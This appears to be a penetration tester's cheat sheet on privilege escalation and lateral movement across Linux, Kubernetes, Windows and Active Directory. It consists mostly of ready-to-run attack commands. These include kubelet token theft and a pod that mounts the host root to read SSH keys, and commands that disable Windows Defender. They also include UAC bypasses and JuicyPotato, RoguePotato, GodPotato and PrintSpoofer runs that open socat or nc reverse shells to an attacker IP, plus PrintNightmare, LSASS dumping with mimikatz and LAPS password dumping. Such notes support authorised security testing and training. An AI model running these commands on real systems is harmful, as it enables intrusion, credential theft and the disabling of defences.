root:Capability Description cap_setuidAllows a process to set its effective user ID, which can be used to gain the privileges of another user, including the rootuser.cap_setgidAllows to set its effective group ID, which can be used to gain the privileges of another group, including the rootgroup.cap_sys_adminThis capability provides a broad range of administrative privileges, including the ability to perform many actions reserved for the rootuser, such as modifying system settings and mounting and unmounting file systems.cap_dac_overrideAllows bypassing of file read, write, and execute permission checks. # Easy wins find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; # Exhaustive getcap -r / 2>/dev/nullMitigation
A straightforward tool to assess the security posture of UNIX devices is:
Kubernetes
Control Plane
The Control Plane serves as the management layer. It consists of several crucial components, including:
Service TCP Ports etcd2379,2380API server6443Scheduler10251Controller Manager10252Kubelet API10250Read-Only Kubelet API10255# Check for API server curl -k https://<TARGET>:6443 # Pods list curl -k https://<TARGET>:6443/pods | jq . # Native pods enumeration kubeletctl -i --server <TARGET> pods # Scan for known RCEs against nodes kubeletctl -i --server <TARGET> scan rce # Interact with node kubeletctl -i --server <TARGET> exec "id" -p nginx -c nginx # Extracting tokens kubeletctl -i --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token # Extracting certificates kubeletctl --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt # List privileges export token=$(cat k8.token) kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 auth can-i --listprivesc.yaml
This mount the host’s root file system
apiVersion: v1 kind: Pod metadata: name: privesc namespace: default spec: containers: - name: privesc image: nginx:1.14.2 volumeMounts: - mountPath: /root name: mount-root-into-mnt volumes: - name: mount-root-into-mnt hostPath: path: / automountServiceAccountToken: true hostNetwork: true# Create new pod kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 apply -f privesc.yaml # Verify kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 get pods # Get root key kubeletctl --server <TARGET> exec "cat /root/root/.ssh/id_rsa" -p privesc -c privescπͺ Windows
Check [[active-directory]] for a whole host of domain-related priv escs. Check [[security-products]] for bypasses for UAC and more. Check [[finding-creds]] for searching for credentials.
- https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html
- https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/
- SysInternals: https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
- Exploit Suggester:
systeminfoparser: https://github.com/bitsadmin/wesng- WinPEAS (Priv Esc Checker): https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
- Seatbelt: https://github.com/GhostPack/Seatbelt
- PowerShell Scripts: https://github.com/samratashok/nishang
- Living Off the Land: https://lolbas-project.github.io/
/upload/download
- Windows Commands: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands
- End-of-Life for Updates: https://michaelspice.net/windows/end-of-life-microsoft-windows-and-office/
systeminfowesng.pyAnalyzergit clone https://github.com/bitsadmin/wesng.git && cd wesng python3 wes.py ~/loot/systeminfo.txtSharpUp
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/refs/heads/master/SharpUp.exe .\SharpUp.exe auditwinPEAS
Manual Survey
# Networking info ipconfig /all arp -a route print # BEST?: Programs w/ Versions $INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation $INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation $INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize # Installed programs for %f in ("C:\Program Files", "C:\Program Files (x86)") do @(echo. && echo --- Listing: %~f --- && dir "%~f" /b) # WMI Method wmic product get name Get-WmiObject -Class Win32_Product | select Name, VersionNormal processes:
- Session Manager Subsystem (smss.exe)
- Client Server Runtime Subsystem (csrss.exe)
- WinLogon (winlogon.exe)
- Local Security Authority Subsystem Service (LSASS)
- Service Host (svchost.exe)
# Running processes and services tasklist /svc netstat -ano # Scheduled Tasks schtasks /query /fo LIST /v # Env Variables set # Detailed machine info systeminfo ver [environment]::OSVersion.Version # Alt method for Hotfixes wmic qfe list brief Get-HotFix | ft -AutoSize # Query logged-in users (usually RDP) query user # Current user echo %USERNAME% # Current User Privs & Groups whoami /all # User accounts w/ Descriptions Get-LocalUser # All users, groups, admins, password policy net user net user %username% net localgroup net localgroup administrators net accounts gpresult /r # Command line history (Get-PSReadLineOption).HistorySavePath # List Named Pipes pipelist.exe /accepteula Get-ChildItem \\.\pipe\ # Show Named Pipe Permissions # NOTE: Drop the "\\." accesschk.exe /accepteula \pipe\<NAME> -vSee more about… Windows Defender
Source: Docs > 6 - Post-Exploitation > security-products#windows-defender
Windows Defender
# Check WinDefend service sc.exe query windefend # Check Status Get-MpComputerStatus # Enable WinDefend Set-MpPreference -DisableRealtimeMonitoring $false C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false" # Disable WinDefend realtime monitoring Set-MpPreference -DisableRealtimeMonitoring $true C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"See more about… Windows Firewall
Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall
Windows Firewall
# Show state of all profiles netsh advfirewall show allprofiles# Add Firewall Exception netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>See more about… AppLocker
Source: Docs > 6 - Post-Exploitation > security-products#applocker
AppLocker
Built-in application whitelister. Commonly
cmd.exeandpowershell.exewill be blocked, but PowerShell lives in multiple locations:# Get Rules Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsSee more about… User Account Control
Source: Docs > 6 - Post-Exploitation > security-products#user-account-control
User Account Control
- UAC Bypass (click
Keysto see techniques): https://github.com/hfiref0x/UACME?tab=readme-ov-file#examples
NOTE: These works when UAC is NOT “Always Notify”
# msconfig WIN+R > msconfig > Tools > Select "Command Prompt" > Launch # azman.msc Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open # Fodhelper.exe w/ Socat nc -nvlp <PORT> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes" reg add %REG_KEY% /v "DelegateExecute" /d "" /f reg add %REG_KEY% /d %CMD% /f & fodhelper.exe whoami /groups // success HIGH! reg delete HKCU\Software\Classes\ms-settings\ /f reg query %REG_KEY% /v "" # WinDefend-Safe UAC Bypass w/ Socat powershell.exe $program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes" New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden // success! reg delete "HKCU\Software\Classes\.update\" /f reg delete "HKCU\Software\Classes\ms-settings\" /f # "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe) nc -lvnp <PORT> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I // success! reg delete "HKCU\Environment" /v "windir" /f # Auto-Bypass (up-to-date) # https://github.com/hfiref0x/UACME C:\tools\UACME-Akagi64.exe 33Privileges vs. Access Rights
https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
Privileges are tied to WHO/the user’s access token (assigned on logon, can differ local and domain), which are essentially overrides to bypass the normal rules (access rights)
- SeTakeOwnershipPrivilege: Allows you to change the Owner of any object. Once you are the Owner, Windows automatically grants you the Access Right to rewrite the DACL (known as
WRITE_DAC). You can then grant yourselfGenericAllAccess Rights. - SeImpersonatePrivilege: Allows you to copy a higher-privileged Token (e.g.,
NT AUTHORITY\SYSTEMvia tools like SweetPotato/PrintSpoofer), instantly granting you all System Privileges and Universal Access Rights.
- SeTakeOwnershipPrivilege: Allows you to change the Owner of any object. Once you are the Owner, Windows automatically grants you the Access Right to rewrite the DACL (known as
Access Rights (permissions) are tied to WHAT/the object (File, Folder, Registry Key, Service, Named Pipe) via “Security Descriptors”
Security Principals are the WHO/users, machines, or groups** that have their own SIDs
- **groups cannot login but have Access Rights
When a Security Principal (e.g. user) wants to access a resource (e.g. file), the OS will perform an authorization check of the user against the resource’s Security Descriptor (e.g. access rights). The Security Descriptor might have multiple Access Control Entries, which will grant access if there is at least 1 match.

Good Privileges
Setting Constant Setting Name Standard Assignment Description SeNetworkLogonRight Access this computer from the network Administrators, Authenticated Users Determines which users can connect to the device from the network. This is required by network protocols such as SMB, NetBIOS, CIFS, and COM+. SeRemoteInteractiveLogonRight Allow log on through Remote Desktop Services Administrators, Remote Desktop Users This policy setting determines which users or groups can access the login screen of a remote device through a Remote Desktop Services connection. A user can establish a Remote Desktop Services connection to a particular server but not be able to log on to the console of that same server. SeBackupPrivilege Back up files and directories Administrators This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system. SeSecurityPrivilege Manage auditing and security log Administrators This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. These objects specify their system access control lists (SACL). A user assigned this user right can also view and clear the Security log in Event Viewer. SeTakeOwnershipPrivilege Take ownership of files or other objects Administrators This policy setting determines which users can take ownership of any securable object in the device, including Active Directory objects, NTFS files and folders, printers, registry keys, services, processes, and threads. SeDebugPrivilege Debug programs Administrators This policy setting determines which users can attach to or open any process, even a process they do not own. Developers who are debugging their applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides access to sensitive and critical operating system components. SeImpersonatePrivilege Impersonate a client after authentication Administrators, Local Service, Network Service, Service This policy setting determines which programs are allowed to impersonate a user or another specified account and act on behalf of the user. SeLoadDriverPrivilege Load and unload device drivers Administrators This policy setting determines which users can dynamically load and unload device drivers. This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device. Device drivers run as highly privileged code. SeRestorePrivilege Restore files and directories Administrators This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. It determines which users can set valid security principals as the owner of an object. SeTcbPrivilege Act as part of the operating system Administrators, Local Service, Network Service, Service This security setting determines whether a process can assume the identity of any user and, through this, obtain access to resources that the targeted user is permitted to access (impersonation). This may be assigned to antivirus or backup tools that need the ability to access all system files for scans or backups. This privilege should be reserved for service accounts requiring this access for legitimate activities. Good Accounts
Account Description NT AUTHORITY\SYSTEM/LocalSystemA highly privileged account with more privileges than a local administrator; used to run most Windows services. See LocalSystem account. Built-in local AdministratorThe built-in local administrator account. Some organizations disable this account, but many do not. It is not uncommon to see this account reused across multiple systems in a client environment. Local member of AdministratorsAnother local account in the local Administratorsgroup. Any account in this group has the same privileges as the built-inAdministratoraccount.Domain user in local AdministratorsA standard (non-privileged) domain user who is part of the local Administratorsgroup.Domain admin in local AdministratorsA domain admin (highly privileged in Active Directory) that is part of the local Administratorsgroup.Good Groups
Group Description Default Administrators Domain Admins and Enterprise Admins are “super” groups. Server Operators Members can modify services, access SMB shares, and backup files. Backup Operators Members are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs. Print Operators Members can log on to DCs locally and “trick” Windows into loading a malicious driver. Hyper-V Administrators If there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins. Account Operators Members can modify non-protected accounts and groups in the domain. Remote Desktop Users Members are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Servicesand can move laterally using the RDP protocol.Remote Management Users Members can log on to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs). Group Policy Creator Owners Members can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU. Schema Admins Members can modify the Active Directory schema structure and backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL. DNS Admins Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record. File/Folder Permissions
Look for F, M, or W assigned to unprivileged groups.
Code Meaning Offensive Value F Full Control Jackpot. You can overwrite the file, read it, delete it, or change its permissions. M Modify High. You can read, write, and delete the file. (Functionally identical to F for hijacking). W Write High. You can overwrite the file with a malicious payload (e.g., a reverse shell .exe). RX Read & Execute None (Usually). You can read the file and run it, but you cannot alter it. R Read Low. Useful only for stealing configuration files or hardcoded credentials. Code Meaning Context (I) Inherited This permission wasn’t set on the file itself; it was passed down from the parent folder (e.g., C:\Program Files). (OI) Object Inherit Applied to a folder: All files inside will inherit this permission. (CI) Container Inherit Applied to a folder: All sub-folders inside will inherit this permission. (IO) Inherit Only This permission applies only to children, not the current folder itself. Exploits
via Meterpreter session:
run post/multi/recon/local_exploit_suggestervia
SeImpersonateSeImpersonate: https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege
JuicyPotato
- https://github.com/ohpe/juicy-potato
- Windows 7, 8.1, 10 (Versions prior to 1809)
- Windows Server 2008 & 2008 R2
- Windows Server 2012 & 2012 R2
- Windows Server 2016
Needs
SeImpersonateorSeAssignPrimaryToken# NOTE: Upload JUPO and nc.exe nc -lnvp <PORT> c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -t *RoguePotato/GodPotato/PrintSpoofer/PrintNightmare
- https://github.com/antonioCoco/RoguePotato
- Windows 10 (1809+)
- Windows Server 2019, 2022
- https://github.com/BeichenDream/GodPotato
- Windows 8 - 11
- Windows Server 2012 - 2022
- https://github.com/itm4n/PrintSpoofer
- Windows 8.1, 10
- Windows Server 2012, 2016, 2019
- https://github.com/calebstewart/CVE-2021-1675
- Tested on Windows Server 2016, 2019
Needs
SeImpersonate(or equivalent for the tool chain). Upload the chosen binary andnc.exe(or use built-in shells where documented).RoguePotato (usage):
-ris the redirector (usually your attacker host);-eis the full command line;-lruns RogueOxidResolver locally on that port (all-in-one). Optional:-c {clsid},-p/-zpipe name.# Listener on attacker nc -lnvp <PORT> # All-in-one: RogueOxidResolver on victim, forward/OXID redirector at attacker c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -l 9999 # Without local RogueOxidResolver: run RogueOxidResolver.exe on the remote/redirector machine (see repo), then e.g.: c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe"GodPotato (example): only
-cmdis required; the tool supplies CLSID behavior internally.nc -lnvp <PORT> c:\tools\GodPotato.exe -cmd "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" # As in upstream README (nc connects out; adjust paths/nc flags to your binary) c:\tools\GodPotato.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe <ATTACKER_IP> <PORT>"PrintSpoofer (usage):
-cruns the command as SYSTEM;-iattaches an interactive SYSTEM process to the current console (bind/reverse/psexec-style shells).nc -lnvp <PORT> # Non-interactive: spawn and exit (WinRM/webshell-style) β matches upstream example c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd" # Interactive: SYSTEM cmd in the same console (reverse/bind shell, psexec, etc.) c:\tools\PrintSpoofer.exe -i -c cmdPrintNightmare (usage): PowerShell via the Print Spooler (
Invoke-Nightmare). By default, it creates local adminadm1nwith passwordP@ssw0rd; use parameters to set custom credentials or load a custom DLL payload.# Load the module Import-Module .\CVE-2021-1675.ps1 # Custom local admin credentials Invoke-Nightmare -DriverName "BackupService" -NewUser "svc_backup" -NewPassword "P@ssw0rd123!" # Custom DLL payload path Invoke-Nightmare -DLL "C:\bindshell.dll"via
SeDebugSee more about… LSASS
Source: Docs > 6 - Post-Exploitation > authentication-windows#lsass
LSASS
# Remotely dump LSA secrets # NOTE: also requires **SeDebugPrivilege** netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa # Remotely dump SAM secrets netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --samNOTE: These require
SeDebugPrivilegeGet LSASS memory dump via GUI:
- Open
Task Manager - Select
Details>lsass.exe - Right-Click > “Create Dump File”
- Move or transfer the file (usually in
%TMP%)
# Get LSASS PID tasklist /fi "IMAGENAME eq lsass.exe" Get-Process lsass # Dump powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full" # Parse creds/hashes from dump pypykatz lsa minidump <DUMP_FILE> # OR .\mimikatz.exe log sekurlsa::minidump crash.dmp sekurlsa::logonpasswordsvia
SeTakeOwnershipNOTE: this is considered dangerous and destructive since not only can it be hard to revert but also could have unintended consequences and breakages for services that use the file
# Get file info Get-ChildItem -Path '<FILE>' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }} # Or if that fails, check the folder ownership cmd /c dir /q '<FOLDER>' # Change ownership takeown /f '<FILE>' # OPTIONAL: grant *full* ACL permissions (e.g. READ) icacls '<FILE>' /grant <USER>:FPython
The following logic can be placed under a particular module’s function (ideally at the beginning of the function) to achieve a priv esc:
import os os.system("id") os.system('ls -la /root/')Wrong write permissions
# Check Python scripts itself ls -la <PYTHON_FILE> # Later check its imports # See if imports are hookable python3 -V grep -r "def <FUNCTION>" /usr/local/lib/python3.8/dist-packages/<MODULE>/* ls -l /usr/local/lib/python3.8/dist-packages/<MODULE>/__init__.pyLibrary Path
# Check Python library importation order python3 -c 'import sys; print("\n".join(sys.path))' # Check for module location pip3 show <MODULE>PYTHONPATH environment variable
# Sometimes the script or executable needs to be executed in a very specific manner sudo -l # Execute over-written function sudo PYTHONPATH=/tmp/ /usr/bin/python3 <PYTHON_FILE>Security Products
Windows
PowerShell
Bypass Execution Policy
- https://learn.microsoft.com/en-us/powershell/
- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies
- Bypasses: https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
# Get Current PS Execution Policy Get-ExecutionPolicy -List # Override Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope ProcessVersion Downgrade
- Logging:
Applications and Services Logs > Microsoft > Windows > PowerShell > Operational > PowerShell OperationalApplications and Services Logs > Windows PowerShell > Windows PowerShell
Version 2 is nice because it has no AMSI and Script Block Logging.
# Show Shell's current PS Version Get-Host # Get ALL PS Version reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell" /s | findstr /i "Version" # PowerShell v2 Installed? powershell.exe -version 2 -c "$PSVersionTable.PSVersion"Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode # ConstrainedLanguage = locked down # FullLanguage = no problemsWindows Defender
# Check WinDefend service sc.exe query windefend # Check Status Get-MpComputerStatus # Enable WinDefend Set-MpPreference -DisableRealtimeMonitoring $false C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false" # Disable WinDefend realtime monitoring Set-MpPreference -DisableRealtimeMonitoring $true C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"Windows Firewall
# Show state of all profiles netsh advfirewall show allprofiles# Add Firewall Exception netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>AppLocker
Built-in application whitelister. Commonly
cmd.exeandpowershell.exewill be blocked, but PowerShell lives in multiple locations:# Get Rules Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsUser Account Control
- UAC Bypass (click
Keysto see techniques): https://github.com/hfiref0x/UACME?tab=readme-ov-file#examples
NOTE: These works when UAC is NOT “Always Notify”
# msconfig WIN+R > msconfig > Tools > Select "Command Prompt" > Launch # azman.msc Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open # Fodhelper.exe w/ Socat nc -nvlp <PORT> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes" reg add %REG_KEY% /v "DelegateExecute" /d "" /f reg add %REG_KEY% /d %CMD% /f & fodhelper.exe whoami /groups // success HIGH! reg delete HKCU\Software\Classes\ms-settings\ /f reg query %REG_KEY% /v "" # WinDefend-Safe UAC Bypass w/ Socat powershell.exe $program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes" New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden // success! reg delete "HKCU\Software\Classes\.update\" /f reg delete "HKCU\Software\Classes\ms-settings\" /f # "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe) nc -lvnp <PORT> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I // success! reg delete "HKCU\Environment" /v "windir" /f # Auto-Bypass (up-to-date) # https://github.com/hfiref0x/UACME C:\tools\UACME-Akagi64.exe 33Local Administrator Password Solution (LAPS)
- https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
- https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/laps.html
If using
BloodHoundcheck forReadLAPSPasswordin graph.# Enumerate who can read LAPS nxc smb <DC_IP> -u <USER> -p <PASS> --laps # Dump the passwords (if able) nxc smb <TARGET> -u <USER> -p <PASS> --laps --- # OUT OF DATE # https://github.com/leoloobeek/LAPSToolkit wget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1 Import-Module LAPSToolkit.ps1 # Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OU Find-LAPSDelegatedGroups # Scans Computer Objects for who has "All Extended Rights" and read passwords Find-AdmPwdExtendedRights # Enum computers with LAPS extension and attempts password dump Get-LAPSComputers7 - Lateral Movement
Active Directory
- AD Cheatsheet: https://wadcoms.github.io/
- Filter by info currently known and by attack type like enumeration, exploitation, etc.
- https://adsecurity.org/
See more about… Active Directory
Source: Docs > 2 - Pre-Engagement > checklist#active-directory
Active Directory
- 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445,
net config workstation) - 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or
net user /domain) - 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
- 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
- 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
- 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
- 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
- 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
- 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
- 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)
Authentication Protocol Selection
Method Authentication Protocol Encryption Limitations IP Address (e.g., 192.168.1.10)NTLM RC4, NTLMv2 No Kerberos support, may be blocked by policies, more logging/alerting Hostname/FQDN (e.g., DC01.cooldomaininc.local)Kerberos (TGT/TGS) AES-128, AES-256, RC4 Requires DNS resolution, subject to Kerberos delegation restrictions (Double Hop problem) Domain Enumeration
DC Port Cheatsheet Port Service Role / Why it identifies a DC 53 DNS Almost all DCs run DNS (AD Integrated DNS). 88 Kerberos The Smoking Gun. Only KDCs (Domain Controllers) listen here. 389 LDAP Directory Access. Essential for AD. 445 SMB Required for SYSVOL (Group Policy) replication. 636 LDAPS Secure LDAP (Indicates a Certificate is installed). 3268 Global Catalog High Fidelity. Indicates the server has a full index of the Forest. 3269 GC SSL Secure Global Catalog. sudo nmap -n -Pn -p 53,88,389,445,636,3268,3269 --open -oA dc_hunt.txt -v <TARGET>See more about… Network Info
Source: Docs > 7 - Lateral Movement > Lateral Movement#network-info
Network Info
# Linux arp -a cat /etc/hosts ifconfig ip a nmcli dev show ip r # Windows arp -a type c:\Windows\System32\drivers\etc\hosts ipconfig /all netstat -rAccess Domain Names
For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.
Split DNS Resolution (w/ VPN)
# 1. Enable dnsmasq plugin (Global Config) sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf # 2. Create the Domain Rule (Persistent) # Syntax: server=/domain.com/10.10.10.10 echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf # 3. Restart NetworkManager to apply the plugin change sudo systemctl restart NetworkManager # 4. Configure the VPN Connection # Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn') sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "" sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes # 5. Reconnect VPN sudo nmcli connection down "<CONNECTION_NAME>" sudo nmcli connection up "<CONNECTION_NAME>"All DNS Resolution (no Internet access)
# Configure the VPN connection to strictly use the Target DNS sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>" sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes # Reconnect to apply sudo nmcli connection down "<CONNECTION_NAME>" sudo nmcli connection up "<CONNECTION_NAME>"Verify
nslookup <TARGET>Domain Information
# Get Domain Info net config workstation ipconfig /all echo %USERDOMAIN% $env:USERDOMAIN echo %LOGONSERVER% $env:LOGONSERVER (Get-WmiObject Win32_ComputerSystem).Domain (Get-CimInstance Win32_ComputerSystem).Domain # PowerShell (modern; no WMI) systeminfoUser Enumeration
“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”
- https://github.com/ropnop/kerbrute
- Username Lists
- PowerShell Tool: https://github.com/dafthack/DomainPasswordSpray
See more about… User Enum
Source: Docs > 5 - Exploitation > online-credentials-attacks#user-enum
User Enum
- No creds: Try anonymous sessions
- Later: with credentials
See more about… Protocol Poisoners
Source: Docs > 5 - Exploitation > protocol-poisoners
These are a great way to passively enumerate or sniff for creds for traffic inside of the network.
AD Enumeration
See more about… BloodHound
Source: Docs > 9 - Notes > bloodhound#bloodhound
BloodHound
- https://github.com/SpecterOps/BloodHound
- Attack Path: https://morimori-dev.github.io/posts/tech-bloodhound-attack-paths/
NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files
BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.
Pre-Requisites
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz tar -xvzf bloodhound-cli-linux-amd64.tar.gz # Start and reset password for BloodHound via Docker sudo systemctl enable --now docker sudo ./bloodhound-cli install ./bloodhound-cli resetpwdCollecting Info
- Collection Methods: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags
# Bloodhound/SharpHound - AD Mapping Import-Module .\Downloads\SharpHound.ps1 Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> # - OR # SharpHound.exe alternative .\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>Uploading Info
- Transfer Bloodhound data to attacker
- Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
- Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest
PowerShell (ADSI searcher)
Uses [System.DirectoryServices] (ADSI/LDAP) so it works from any domain-joined host without the Active Directory RSAT module.
